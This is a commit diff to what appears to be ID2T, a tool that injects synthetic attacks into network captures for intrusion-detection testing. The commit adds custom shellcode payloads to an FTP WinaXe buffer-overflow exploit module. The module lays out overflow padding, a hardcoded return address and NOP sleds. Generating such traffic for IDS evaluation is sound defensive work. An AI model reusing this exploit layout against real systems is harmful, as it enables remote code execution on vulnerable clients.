Browse Source

add custom payload support

add custom payload from file functionality
add check payload length function
add end of line handling
fix formatting
fix get_rnd_x86_nop calls
Jonathan Speth 6 years ago
parent
commit
97845efceb
3 changed files with 92 additions and 7 deletions
  1. 2 0
      code/Attack/AttackParameters.py
  2. 41 7
      code/Attack/FTPWinaXeExploit.py
  3. 49 0
      code/ID2TLib/Utility.py

+ 2 - 0
code/Attack/AttackParameters.py

@@ -42,6 +42,8 @@ class Parameter(Enum):
     PROTOCOL_VERSION = 'protocol.version'
     HOSTING_VERSION = 'hosting.version'
     SOURCE_PLATFORM = 'src.platform'
+    CUSTOM_PAYLOAD = 'custom.payload'  # custom payload for ftp exploits
+    CUSTOM_PAYLOAD_FILE = 'custom.payload.file'  # file that contains custom payload for ftp exploits
 
 
 class ParameterTypes(Enum):

+ 41 - 7
code/Attack/FTPWinaXeExploit.py

@@ -8,7 +8,7 @@ from Attack import BaseAttack
 from Attack.AttackParameters import Parameter as Param
 from Attack.AttackParameters import ParameterTypes
 from ID2TLib.Utility import update_timestamp, generate_source_port_from_platform, get_rnd_x86_nop, forbidden_chars,\
-    get_rnd_bytes
+    get_rnd_bytes, get_bytes_from_file
 
 logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
 # noinspection PyPep8
@@ -36,7 +36,9 @@ class FTPWinaXeExploit(BaseAttack.BaseAttack):
             Param.INJECT_AT_TIMESTAMP: ParameterTypes.TYPE_FLOAT,
             Param.INJECT_AFTER_PACKET: ParameterTypes.TYPE_PACKET_POSITION,
             Param.IP_SOURCE_RANDOMIZE: ParameterTypes.TYPE_BOOLEAN,
-            Param.PACKETS_PER_SECOND: ParameterTypes.TYPE_FLOAT
+            Param.PACKETS_PER_SECOND: ParameterTypes.TYPE_FLOAT,
+            Param.CUSTOM_PAYLOAD: ParameterTypes.TYPE_STRING,
+            Param.CUSTOM_PAYLOAD_FILE: ParameterTypes.TYPE_STRING
         }
 
     def init_params(self):
@@ -73,12 +75,14 @@ class FTPWinaXeExploit(BaseAttack.BaseAttack):
                               self.statistics.get_pps_received(most_used_ip_address)) / 2)
         self.add_param_value(Param.INJECT_AFTER_PACKET, randint(0, self.statistics.get_packet_count()))
         self.add_param_value(Param.IP_SOURCE_RANDOMIZE, 'False')
+        self.add_param_value(Param.CUSTOM_PAYLOAD, '')
+        self.add_param_value(Param.CUSTOM_PAYLOAD_FILE, '')
 
     def generate_attack_pcap(self):
         def get_ip_data(ip_address: str):
             """
-            :param ip_address: the ip of which (packet-)data shall be returned
-            :return: MSS, TTL and Window Size values of the given IP
+            :param ip_address: The ip of which (packet-)data shall be returned
+            :return: MSS, TTL and window size values of the given IP
             """
             # Set MSS (Maximum Segment Size) based on MSS distribution of IP address
             mss_dist = self.statistics.get_mss_distribution(ip_address)
@@ -106,6 +110,18 @@ class FTPWinaXeExploit(BaseAttack.BaseAttack):
 
             return mss_value, ttl_value, win_value
 
+        def check_payload_len(payload_len: int, limit: int):
+            """
+            Checks if the len of the payload exceeds a given limit
+            :param payload_len: The length of the payload
+            :param limit: The limit of the length of the payload which is allowed
+            """
+
+            if payload_len > limit:
+                print("\nCustom payload too long: ", payload_len, " bytes. Should be a maximum of ", limit, " bytes.")
+                exit(1)
+
+
         pps = self.get_param_value(Param.PACKETS_PER_SECOND)
 
         # Timestamp
@@ -119,6 +135,11 @@ class FTPWinaXeExploit(BaseAttack.BaseAttack):
         mac_victim = self.get_param_value(Param.MAC_SOURCE)
         mac_attacker = self.get_param_value(Param.MAC_DESTINATION)
 
+        custom_payload = self.get_param_value(Param.CUSTOM_PAYLOAD)
+        custom_payload_len = len(custom_payload)
+        custom_payload_limit = 1000
+        check_payload_len(custom_payload_len, custom_payload_limit)
+
         packets = []
 
         # Create random victim if specified
@@ -174,11 +195,24 @@ class FTPWinaXeExploit(BaseAttack.BaseAttack):
                         window=attacker_win_value, options=[('MSS', attacker_mss_value)])
 
         characters = b'220'
-        characters += get_rnd_x86_nop(2065, False, forbidden_chars)
+        characters += get_rnd_bytes(2065, forbidden_chars)
         characters += b'\x96\x72\x01\x68'
         characters += get_rnd_x86_nop(10, False, forbidden_chars)
-        # FIXME: maybe add custom payload, fill rest of the 1000 bytes with get_rnd_x86_nop at the beginning
-        payload = get_rnd_bytes(1000, forbidden_chars)
+
+        custom_payload_file = self.get_param_value(Param.CUSTOM_PAYLOAD_FILE)
+
+        if custom_payload == '':
+            if custom_payload_file == '':
+                payload = get_rnd_bytes(custom_payload_limit, forbidden_chars)
+            else:
+                payload = get_bytes_from_file(custom_payload_file)
+                check_payload_len(len(payload), custom_payload_limit)
+                payload += get_rnd_x86_nop(custom_payload_limit - len(payload), False, forbidden_chars)
+        else:
+            encoded_payload = custom_payload.encode()
+            payload = get_rnd_x86_nop(custom_payload_limit - custom_payload_len, False, forbidden_chars)
+            payload += encoded_payload
+
         characters += payload
         characters += get_rnd_x86_nop(20, False, forbidden_chars)
         characters += b'\r\n'

+ 49 - 0
code/ID2TLib/Utility.py

@@ -218,3 +218,52 @@ def get_rnd_bytes(count=1, ignore=None):
             char = urandom(1)
         result += char
     return result
+
+
+def get_bytes_from_file(filepath):
+    """
+    Converts the content of a file into its byte representation
+    The content of the file can either be a string or hexadecimal numbers/bytes (e.g. shellcode)
+    The file must have the keyword "str" or "hex" in its first line to specify the rest of the content
+    If the content is hex, whitespaces, backslashes, "x", quotation marks and "+" are removed
+    Example for a hexadecimal input file:
+
+        hex
+        "abcd ef \xff10\ff 'xaa' x \ ab"
+
+    Output: b'\xab\xcd\xef\xff\x10\xff\xaa\xab'
+
+    :param filepath: The path of the file from which to get the bytes
+    :return: The bytes of the file (either a byte representation of a string or the bytes contained in the file)
+    """
+    try:
+        file = open(filepath)
+        result_bytes = b''
+        header = file.readline().strip()
+        content = file.read()
+
+        if header == "hex":
+            content = content.replace(" ", "").replace("\n", "").replace("\\", "").replace("x", "").replace("\"", "")\
+                .replace("'", "").replace("+", "").replace("\r", "")
+            try:
+                result_bytes = bytes.fromhex(content)
+            except ValueError:
+                print("\nERROR: Content of file is not all hexadecimal.")
+                exit(1)
+        elif header == "str":
+            result_bytes = content.encode()
+        else:
+            print("\nERROR: Invalid header found: " + header + ". Try 'hex' or 'str' followed by endline instead.")
+            exit(1)
+
+        for forbidden_char in forbidden_chars:
+            if forbidden_char in result_bytes:
+                print("\nERROR: Forbidden character found in payload: ", forbidden_char)
+                exit(1)
+
+        file.close()
+        return result_bytes
+
+    except FileNotFoundError:
+        print("\nERROR: File not found: ", filepath)
+        exit(1)